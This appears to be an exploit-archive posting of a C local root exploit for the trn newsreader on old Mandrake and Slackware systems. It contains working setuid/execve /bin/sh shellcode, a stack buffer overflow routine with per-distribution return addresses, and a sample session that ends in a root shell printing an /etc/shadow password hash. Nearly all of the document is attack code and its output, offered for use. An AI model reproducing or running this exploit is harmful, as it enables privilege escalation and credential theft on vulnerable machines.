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/usr/bin/trn Local Exploit (not suid)
[=====================================
/usr/bin/trn Local Exploit (not suid)
=====================================
/*
/usr/bin/trn local root exploit
By ZzagorR - http://www.rootbinbash.com
*/
/*
sh-2.05b$ ./trn
usage : ./trn ret buf
example : ./trn 0xbfffff64
[+] mandrake 9.2 = 0xbfffff96
[+] slackware 10.0.0= 0xbfffff98
[+] slackware 9.1.0= 0xbfffff84
sh-2.05b$
sh-2.05b$ ./trn 0xbfffff84 128
[BOO %] 128
[RET %] bfffff84
sh-2.05b#
sh-2.05b# id
uid=0(root) gid=98(nobody) groups=98(nobody)
sh-2.05b# cat /etc/shadow
root:$1$N88/N.aP$dBWcFHiYCXXNb77Y5LPNK1:12705:0:::::
TEST :
MANDRAKE 9.2
SLACKWARE 10.0.0
SLACKWARE 9.1.0
http://www.rootbinbash.com/d0kum4n/trn-test.txt
BOO:
$trn `perl -e 'print "A" x 120'`
$trn `perl -e 'print "A" x 124'`
$trn `perl -e 'print "A" x 128'`
Segmentation fault
BOO=128
*/
#include <stdio.h>
#include <string.h>
#define NEREDE "/usr/bin/trn"
char caylarbeles[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main(int argc, char *argv[]){
int bizim;
char bufe[1000];
char *tayfasi;
if (argc < 3) {
printf ("{ trn l0c4l r00t 3xpl01t }\n");
printf ("{ By ZzagorR - http://www.rootbinbash.com }\n");
printf ("{ usage : %s ret buf }\n",argv[0]);
printf ("{ example : %s 0xbfffff99 142 }\n",argv[0]);
printf ("{ mandrake 9.2 = 0xbfffff96 }\n");
printf ("{ slackware 10.0.0 = 0xbfffff98 }\n");
printf ("{ slackware 9.1.0 = 0xbfffff84 }\n");
exit(1);
}else{
unsigned long RET=strtoul(argv[1], NULL, 16);
int BOO = atoi(argv[2]);
printf ("[BOO %] %i\n",BOO);
printf ("[RET %] %x\n",RET);
tayfasi = bufe;
memset(bufe, 0x41,256-strlen(caylarbeles));
sprintf(bufe+256-strlen(caylarbeles), "%s", caylarbeles);
for ( bizim = BOO; bizim <= BOO+4; bizim+= 4 )
*(long*)(tayfasi+bizim) = RET;
execl(NEREDE, NEREDE , bufe, NULL);
}
}
# 0day.today [2024-12-24] #